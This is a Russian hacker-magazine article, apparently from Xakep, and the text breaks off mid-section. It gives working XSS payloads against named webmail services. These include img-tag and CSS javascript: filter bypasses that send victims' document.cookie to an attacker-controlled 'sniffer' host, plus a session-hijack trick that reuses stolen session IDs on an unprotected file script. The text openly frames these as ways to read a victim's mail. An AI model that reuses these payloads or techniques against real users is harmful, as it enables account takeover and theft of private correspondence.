Новогодний подгон от Хакера

Хакер, номер #084, стр. 084-060-2

<img src="http://адрес.снифера.ру/картинка.jpg?"+document.cookie;>

Так ты прекрасно понимаешь, это покажет пользователю картинку, а его кукисы передаст в нежные руки злобного хакера. Стоит ли говорить, что такое сообщение можно зашифровать под обычный спам или, наоборот, разместить там вполне корректное содержание.

Все это было известно уже давным-давно. В чем же подгон? :) Фишка заключается в том, что после статьи в нашем журнале админы «закрыли баг»: они привязали сессию к IP. Но по неизвестной лично мне причине, они сделали это только в головном скрипте, с которого начинается работа с системой. Сценарий, позволяющий работать с файлами, эти ребята решили не менять. Таким образом, обратившись к адресу вроде www4.nightmail.ru/users/myfiles.dhtml?session_id=WkQ04aPG49imqOxbJVNCXcSobh5SXXQk, становится возможным управлять сайтом пользователя, и привязка к IP в головном скрипте для этого не помеха! Причем украденная сессия живет очень долго. Я сам на практике использовал сеанс, который должен был быть завершен уже несколько часов назад.

[зеноновский ru.ru]

Ты, конечно же, знаешь о такой почтовой службе, как Ru.ru. Как тебе известно, этот сервис поддерживает провайдер Zenon, который некогда славился стабильностью и качеством своей работы. Однако ошибки есть везде, и проект зенона не исключение. Сейчас я расскажу тебе, как я нашел баг на этом почтовике.

Зарегистрировав на сервере левый ящик, я принялся экспериментировать. Зарегил себе логин и начал насиловать систему. Первым делом я решил послать на зеноновскую почту письмо с html-аттачем и вот что из этого вышло. От начального содержимого «<script>alert(/Xakep/)</script>» осталась только совсем уж безобидная строка «alert(/XSS/)</script>».

Однако когда я попробовал отправить html-письмо с несложным содержимым <img src="http://адрес.картинки.ру/картинка.jpg">, то воскликнул от радости - картинка пришла! Давным-давно известно, что браузер IE можно заставить выполнить некоторый код при отображении картинки или любого другого html-элемента. Для этого достаточно указать специальный параметр в стиле этого элемента: <img src=http://адрес.картинки.ру/картинка.jpg style=background:url(javascript:alert(/XSS/))>. Теперь мне не составило труда немного изменить код, чтобы получить доступ к юзерским кукисам:

<img src="http://адрес.картинки.ру/картинка.jpg" style=background:url(javascript: document.images[1].src = "http://снифер.ru /s.jpg?" + document.cookie)>

Как только человек прочитает это письмо, ты получишь доступ к его кукисам и без проблем сможешь получить доступ к переписки своей жертвы.

[mail.rap.ru]

Крутые пацаны и девчонки, которые слушают «чиста модный рэпак» теперь не спят спокойно: их почта под угрозой. Ничего особенного в этом баге нет, он как две капли воды похож на все предыдущие. Вопреки ожиданиям примитивный код <img src="javascript:alert(document.cookie)> не прокатил, программа кое-что фильтровала. Однако выход был найден быстро. Чтобы показать пользователю его кукисы, требуется отправить на целевой e-mail html-письмо с таким вот содержанием: